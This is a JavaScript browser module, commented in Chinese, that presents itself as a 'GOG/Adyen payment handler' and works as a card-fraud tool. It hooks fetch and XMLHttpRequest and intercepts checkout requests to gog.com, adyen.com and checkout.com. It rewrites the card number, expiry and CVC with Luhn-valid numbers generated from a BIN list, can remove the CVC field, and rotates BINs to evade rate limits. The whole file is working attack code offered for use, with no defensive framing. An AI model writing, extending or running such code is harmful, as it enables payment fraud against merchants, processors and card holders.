/** * ============================================================================ * GOG/Adyen Payment Handler Module (Modularized Version) * ============================================================================ * 功能: * 1. 攔截 GOG/Adyen 支付請求 * 2. 解析多種請求體格式 (JSON/FormData/URLSearchParams) * 3. 根據 BIN 列表自動生成有效卡號 * 4. 替換原始請求中的卡號、有效期、CVC * 5. 支持 CVC 移除邏輯 * 6. 輪詢多個 BIN 以繞過頻率限制 * * 使用方式: * const handler = new GogPaymentHandlerModule(config); * handler.init(); * ============================================================================ */ class GogPaymentHandlerModule { constructor(config = {}) { // 默認配置 this.config = { enabled: true, // 是否啟用模塊 debug: false, // 調試模式 removeCvc: false, // 是否移除 CVC binList: [], // BIN 列表 (例: ['424242', '378282']) autoRotateBin: true, // 自動輪詢 BIN targetDomains: [ // 目標域名 'gog.com', 'adyen.com', 'checkout.com' ], targetKeywords: [ // URL 關鍵詞 'payment', 'checkout', 'adyen', 'paymentMethods', 'payments' ], cardFields: { // 卡字段映射 number: ['cardNumber', 'number', 'card.number', 'encryptedCardNumber'], month: ['expiryMonth', 'month', 'card.expiryMonth', 'exp_month'], year: ['expiryYear', 'year', 'card.expiryYear', 'exp_year'], cvc: ['cvc', 'cvv', 'securityCode', 'card.cvc'] }, saveToStorage: true, // 保存最後使用的卡信息 storageKeys: { lastCard: 'gogBypasserLastCardString', lastCardJson: 'gogBypasserLastCardJSON', binIndex: 'gogBypasserBinIndex' }, ...config }; // 運行時狀態 this.currentBinIndex = 0; this.lastResetTime = Date.now(); this.processedRequests = new Set(); this.cardGenerator = null; // 原始方法引用 this.originalFetch = null; this.originalXHROpen = null; this.originalXHRSend = null; // 綁定方法 this.handleFetch = this.handleFetch.bind(this); this.handleXHR = this.handleXHR.bind(this); } /** * 初始化模塊 */ init() { this.log('Initializing GOG Payment Handler Module...'); // 1. 加載 BIN 索引 this.loadBinIndex(); // 2. 初始化卡號生成器 this.initCardGenerator(); // 3. Hook 網絡請求 this.hookFetch(); this.hookXHR(); // 4. 註冊消息監聽 this.setupMessageListener(); // 5. 暴露全局接口 this.exposeGlobalAPI(); this.log('Module initialized successfully'); } /** * 銷毀模塊 */ destroy() { if (this.originalFetch) { window.fetch = this.originalFetch; } if (this.originalXHROpen) { XMLHttpRequest.prototype.open = this.originalXHROpen; } if (this.originalXHRSend) { XMLHttpRequest.prototype.send = this.originalXHRSend; } this.log('Module destroyed'); } /** * ======================================================================== * BIN 管理 * ======================================================================== */ /** * 加載 BIN 索引 */ loadBinIndex() { try { if (this.config.saveToStorage && window.localStorage) { const saved = localStorage.getItem(this.config.storageKeys.binIndex); if (saved) { this.currentBinIndex = parseInt(saved, 10) || 0; } } } catch (e) { this.warn('Failed to load BIN index from storage:', e); } } /** * 保存 BIN 索引 */ saveBinIndex() { try { if (this.config.saveToStorage && window.localStorage) { localStorage.setItem( this.config.storageKeys.binIndex, String(this.currentBinIndex) ); } } catch (e) { // Ignore } } /** * 獲取下一個 BIN */ getNextBin() { if (this.config.binList.length === 0) { this.warn('BIN list is empty'); return null; } const bin = this.config.binList[this.currentBinIndex % this.config.binList.length]; if (this.config.autoRotateBin) { this.currentBinIndex++; this.saveBinIndex(); } return bin; } /** * 更新 BIN 列表 */ updateBinList(newBins) { if (Array.isArray(newBins)) { this.config.binList = newBins .filter(b => b && typeof b === 'string') .map(b => b.trim()) .filter(b => b.length >= 6); } else if (typeof newBins === 'string') { // 支持換行符分隔 this.config.binList = newBins .split('\n') .map(b => b.trim()) .filter(b => b.length >= 6); } this.log('BIN list updated:', this.config.binList); } /** * ======================================================================== * 卡號生成器 * ======================================================================== */ /** * 初始化卡號生成器 */ initCardGenerator() { // 嘗試使用全局生成器 if (window.StripeBypasserCardGenerator) { this.cardGenerator = window.StripeBypasserCardGenerator; this.log('Using global card generator'); return; } // 否則使用內置生成器 this.cardGenerator = { generateCard: (bin) => this.generateCardInternal(bin) }; this.log('Using internal card generator'); } /** * 內置卡號生成器 (Luhn 算法) */ generateCardInternal(bin) { if (!bin || bin.length < 6) { this.error('Invalid BIN:', bin); return null; } // 生成隨機補充數字 (總長度 16 位) let cardNumber = bin; while (cardNumber.length < 15) { cardNumber += Math.floor(Math.random() * 10); } // 計算 Luhn 校驗位 const checkDigit = this.calculateLuhnCheckDigit(cardNumber); cardNumber += checkDigit; // 生成隨機有效期和 CVC const currentYear = new Date().getFullYear(); const month = String(Math.floor(Math.random() * 12) + 1).padStart(2, '0'); const year = String(currentYear + Math.floor(Math.random() * 5) + 1); const cvc = String(Math.floor(Math.random() * 900) + 100); return { number: cardNumber, month: month, year: year, cvc: cvc }; } /** * Luhn 算法校驗位計算 */ calculateLuhnCheckDigit(cardNumber) { let sum = 0; let shouldDouble = true; for (let i = cardNumber.length - 1; i >= 0; i--) { let digit = parseInt(cardNumber[i], 10); if (shouldDouble) { digit *= 2; if (digit > 9) digit -= 9; } sum += digit; shouldDouble = !shouldDouble; } const checkDigit = (10 - (sum % 10)) % 10; return String(checkDigit); } /** * ======================================================================== * Fetch Hook * ======================================================================== */ hookFetch() { if (this.originalFetch) return; this.originalFetch = window.fetch; const self = this; window.fetch = async function(...args) { return await self.handleFetch(this, args, self.originalFetch); }; this.log('Fetch API hooked'); } async handleFetch(context, args, originalFetch) { const [url, options = {}] = args; const urlString = this.normalizeUrl(url); // 檢查是否為目標請求 if (!this.isTargetRequest(urlString)) { return await originalFetch.apply(context, args); } this.log('Intercepted payment request:', urlString); // 處理支付請求 const modifiedOptions = await this.processPaymentRequest(url, options); // 發送修改後的請求 return await originalFetch.apply(context, [url, modifiedOptions]); } /** * ======================================================================== * XHR Hook * ======================================================================== */ hookXHR() { if (this.originalXHROpen) return; this.originalXHROpen = XMLHttpRequest.prototype.open; this.originalXHRSend = XMLHttpRequest.prototype.send; const self = this; XMLHttpRequest.prototype.open = function(method, url, ...rest) { this._gogUrl = self.normalizeUrl(url); this._gogMethod = method; return self.originalXHROpen.apply(this, [method, url, ...rest]); }; XMLHttpRequest.prototype.send = function(body) { const url = this._gogUrl; if (!self.isTargetRequest(url)) { return self.originalXHRSend.apply(this, [body]); } self.log('Intercepted XHR payment request:', url); // 處理 XHR 請求體 const options = { method: this._gogMethod, body: body, headers: {} }; self.processPaymentRequest(url, options).then(modifiedOptions => { self.originalXHRSend.apply(this, [modifiedOptions.body]); }).catch(err => { self.error('XHR modification failed:', err); self.originalXHRSend.apply(this, [body]); }); }; this.log('XHR hooked'); } /** * ======================================================================== * 請求處理核心邏輯 * ======================================================================== */ /** * 處理支付請求 */ async processPaymentRequest(url, options) { if (!this.config.enabled) { return options; } // 檢查是否有 BIN 列表 if (this.config.binList.length === 0) { this.warn('BIN list is empty, skipping modification'); return options; } // 獲取下一個 BIN const bin = this.getNextBin(); if (!bin) { return options; } // 生成新卡號 const card = this.cardGenerator.generateCard(bin); if (!card) { this.error('Failed to generate card for BIN:', bin); return options; } this.log('Generated card:', { number: card.number.slice(0, 6) + '******' + card.number.slice(-4), month: card.month, year: card.year }); // 解析和修改請求體 const modifiedBody = await this.modifyRequestBody(options.body, card); // 保存卡信息 this.saveCardInfo(card); // 廣播事件 this.broadcastCardGenerated(card, url); return { ...options, body: modifiedBody }; } /** * 修改請求體 */ async modifyRequestBody(body, card) { if (!body) return body; const bodyType = this.detectBodyType(body); this.log('Request body type:', bodyType); switch (bodyType) { case 'json': return this.modifyJsonBody(body, card); case 'formdata': return this.modifyFormDataBody(body, card); case 'urlsearchparams': return this.modifyUrlSearchParamsBody(body, card); case 'string': return this.modifyStringBody(body, card); default: return body; } } /** * 檢測請求體類型 */ detectBodyType(body) { if (typeof body === 'string') { try { JSON.parse(body); return 'json'; } catch (e) { if (body.includes('=')) { return 'urlsearchparams'; } return 'string'; } } if (body instanceof FormData) return 'formdata'; if (body instanceof URLSearchParams) return 'urlsearchparams'; if (typeof body === 'object') return 'json'; return 'unknown'; } /** * 修改 JSON 格式請求體 */ modifyJsonBody(body, card) { try { const data = typeof body === 'string' ? JSON.parse(body) : body; // 處理嵌套結構 (例: { card: { number: '...', ... } }) if (data.card && typeof data.card === 'object') { data.card.number = card.number; data.card.expiryMonth = card.month; data.card.expiryYear = card.year; if (this.config.removeCvc) { delete data.card.cvc; delete data.card.cvv; delete data.card.securityCode; } else { data.card.cvc = card.cvc; } } // 處理扁平結構 for (const field of this.config.cardFields.number) { if (this.hasNestedProperty(data, field)) { this.setNestedProperty(data, field, card.number); } } for (const field of this.config.cardFields.month) { if (this.hasNestedProperty(data, field)) { this.setNestedProperty(data, field, card.month); } } for (const field of this.config.cardFields.year) { if (this.hasNestedProperty(data, field)) { this.setNestedProperty(data, field, card.year); } } if (this.config.removeCvc) { for (const field of this.config.cardFields.cvc) { this.deleteNestedProperty(data, field); } } else { for (const field of this.config.cardFields.cvc) { if (this.hasNestedProperty(data, field)) { this.setNestedProperty(data, field, card.cvc); } } } this.log('JSON body modified successfully'); return JSON.stringify(data); } catch (e) { this.error('Failed to modify JSON body:', e); return body; } } /** * 修改 FormData 格式請求體 */ modifyFormDataBody(body, card) { try { const newFormData = new FormData(); for (const [key, value] of body.entries()) { let modified = false; // 檢查是否為卡號字段 for (const field of this.config.cardFields.number) { if (key.includes(field) || key === field) { newFormData.append(key, card.number); modified = true; break; } } if (!modified) { // 檢查月份 for (const field of this.config.cardFields.month) { if (key.includes(field) || key === field) { newFormData.append(key, card.month); modified = true; break; } } } if (!modified) { // 檢查年份 for (const field of this.config.cardFields.year) { if (key.includes(field) || key === field) { newFormData.append(key, card.year); modified = true; break; } } } if (!modified) { // 檢查 CVC const isCvcField = this.config.cardFields.cvc.some(f => key.includes(f) || key === f ); if (isCvcField) { if (!this.config.removeCvc) { newFormData.append(key, card.cvc); } modified = true; } } // 如果沒有修改,保持原值 if (!modified) { newFormData.append(key, value); } } this.log('FormData body modified successfully'); return newFormData; } catch (e) { this.error('Failed to modify FormData body:', e); return body; } } /** * 修改 URLSearchParams 格式請求體 */ modifyUrlSearchParamsBody(body, card) { try { const params = typeof body === 'string' ? new URLSearchParams(body) : new URLSearchParams(body.toString()); // 替換卡號 for (const field of this.config.cardFields.number) { if (params.has(field)) { params.set(field, card.number); } } // 替換月份 for (const field of this.config.cardFields.month) { if (params.has(field)) { params.set(field, card.month); } } // 替換年份 for (const field of this.config.cardFields.year) { if (params.has(field)) { params.set(field, card.year); } } // 處理 CVC if (this.config.removeCvc) { for (const field of this.config.cardFields.cvc) { params.delete(field); } } else { for (const field of this.config.cardFields.cvc) { if (params.has(field)) { params.set(field, card.cvc); } } } this.log('URLSearchParams body modified successfully'); return params.toString(); } catch (e) { this.error('Failed to modify URLSearchParams body:', e); return body; } } /** * 修改字符串格式請求體 (純文本或其他格式) */ modifyStringBody(body, card) { try { let modified = body; // 使用正則表達式替換卡號模式 // 匹配 13-19 位數字 const cardNumberPattern = /\b\d{13,19}\b/g; modified = modified.replace(cardNumberPattern, card.number); this.log('String body modified (pattern matching)'); return modified; } catch (e) { this.error('Failed to modify string body:', e); return body; } } /** * ======================================================================== * 嵌套對象處理工具 * ======================================================================== */ /** * 檢查嵌套屬性是否存在 */ hasNestedProperty(obj, path) { const keys = path.split('.'); let current = obj; for (const key of keys) { if (current && typeof current === 'object' && key in current) { current = current[key]; } else { return false; } } return true; } /** * 設置嵌套屬性 */ setNestedProperty(obj, path, value) { const keys = path.split('.'); let current = obj; for (let i = 0; i < keys.length - 1; i++) { const key = keys[i]; if (!(key in current)) { current[key] = {}; } current = current[key]; } current[keys[keys.length - 1]] = value; } /** * 刪除嵌套屬性 */ deleteNestedProperty(obj, path) { const keys = path.split('.'); let current = obj; for (let i = 0; i < keys.length - 1; i++) { const key = keys[i]; if (!(key in current)) { return; } current = current[key]; } delete current[keys[keys.length - 1]]; } /** * ======================================================================== * 存儲與廣播 * ======================================================================== */ /** * 保存卡信息到 LocalStorage */ saveCardInfo(card) { if (!this.config.saveToStorage) return; try { const cardString = `${card.number}|${card.month}|${card.year}|${card.cvc || ''}`; localStorage.setItem( this.config.storageKeys.lastCard, cardString ); localStorage.setItem( this.config.storageKeys.lastCardJson, JSON.stringify(card) ); this.log('Card info saved to storage'); } catch (e) { this.warn('Failed to save card info:', e); } } /** * 從 LocalStorage 加載最後的卡信息 */ getLastCardInfo() { try { const json = localStorage.getItem(this.config.storageKeys.lastCardJson); if (json) { return JSON.parse(json); } } catch (e) { // Ignore } return null; } /** * 廣播卡號生成事件 */ broadcastCardGenerated(card, url) { // postMessage 廣播 window.postMessage({ type: 'GOG_BYPASSER_EVENT', eventType: 'CARD_GENERATED', card: { number: card.number, month: card.month, year: card.year, cvc: this.config.removeCvc ? null : card.cvc, maskedNumber: card.number.slice(0, 6) + '******' + card.number.slice(-4) }, url: url, timestamp: Date.now() }, '*'); // CustomEvent 廣播 if (document) { document.dispatchEvent(new CustomEvent('GOG_CARD_GENERATED', { detail: { card: card, url: url } })); } } /** * ======================================================================== * 工具方法 * ======================================================================== */ /** * 標準化 URL */ normalizeUrl(url) { try { if (typeof url === 'string') return url; if (url instanceof URL) return url.toString(); if (url && url.url) return url.url; return String(url); } catch (e) { return ''; } } /** * 判斷是否為目標請求 */ isTargetRequest(url) { if (!url) return false; const urlLower = url.toLowerCase(); // 檢查域名 const domainMatch = this.config.targetDomains.some(domain => urlLower.includes(domain.toLowerCase()) ); // 檢查關鍵詞 const keywordMatch = this.config.targetKeywords.some(keyword => urlLower.includes(keyword.toLowerCase()) ); return domainMatch || keywordMatch; } /** * ======================================================================== * 消息監聽 * ======================================================================== */ setupMessageListener() { window.addEventListener('message', (event) => { const data = event.data; if (data?.type === 'GOG_HANDLER_UPDATE_CONFIG') { this.updateConfig(data.config); } if (data?.type === 'GOG_HANDLER_UPDATE_BIN') { this.updateBinList(data.bins); } if (data?.type === 'GOG_HANDLER_RESET') { this.reset(); } if (data?.type === 'GOG_HANDLER_GENERATE_CARD') { const bin = data.bin || this.getNextBin(); const card = this.cardGenerator.generateCard(bin); // 回復消息 window.postMessage({ type: 'GOG_HANDLER_CARD_RESPONSE', card: card }, '*'); } }); } /** * ======================================================================== * 配置管理 * ======================================================================== */ /** * 更新配置 */ updateConfig(newConfig) { Object.assign(this.config, newConfig); // 如果更新了 BIN 列表,處理它 if (newConfig.binList) { this.updateBinList(newConfig.binList); } this.log('Config updated:', this.config); } /** * 重置狀態 */ reset() { this.currentBinIndex = 0; this.processedRequests.clear(); this.saveBinIndex(); this.log('Module state reset'); } /** * 獲取當前狀態 */ getStatus() { return { enabled: this.config.enabled, binCount: this.config.binList.length, currentBinIndex: this.currentBinIndex, lastCard: this.getLastCardInfo(), processedCount: this.processedRequests.size, config: this.config }; } /** * ======================================================================== * 全局 API * ======================================================================== */ exposeGlobalAPI() { window.gogBypasser = { module: this, handlePayment: (url, options) => this.processPaymentRequest(url, options), generateCard: (bin) => this.cardGenerator.generateCard(bin || this.getNextBin()), getStatus: () => this.getStatus(), updateConfig: (cfg) => this.updateConfig(cfg), updateBins: (bins) => this.updateBinList(bins), reset: () => this.reset() }; this.log('Global API exposed as window.gogBypasser'); } /** * ======================================================================== * 日誌工具 * ======================================================================== */ log(...args) { if (this.config.debug) { console.log('[GOG Handler]', ...args); } } warn(...args) { if (this.config.debug) { console.warn('[GOG Handler]', ...args); } } error(...args) { console.error('[GOG Handler]', ...args); } } /** * ============================================================================ * 全局暴露與自動初始化 * ============================================================================ */ window.GogPaymentHandlerModule = GogPaymentHandlerModule; // 自動初始化選項 if (typeof GOG_AUTO_INIT !== 'undefined' && GOG_AUTO_INIT) { const instance = new GogPaymentHandlerModule({ enabled: true, debug: true, binList: window.GOG_BIN_LIST || [], removeCvc: false }); instance.init(); window.__gogHandler = instance; }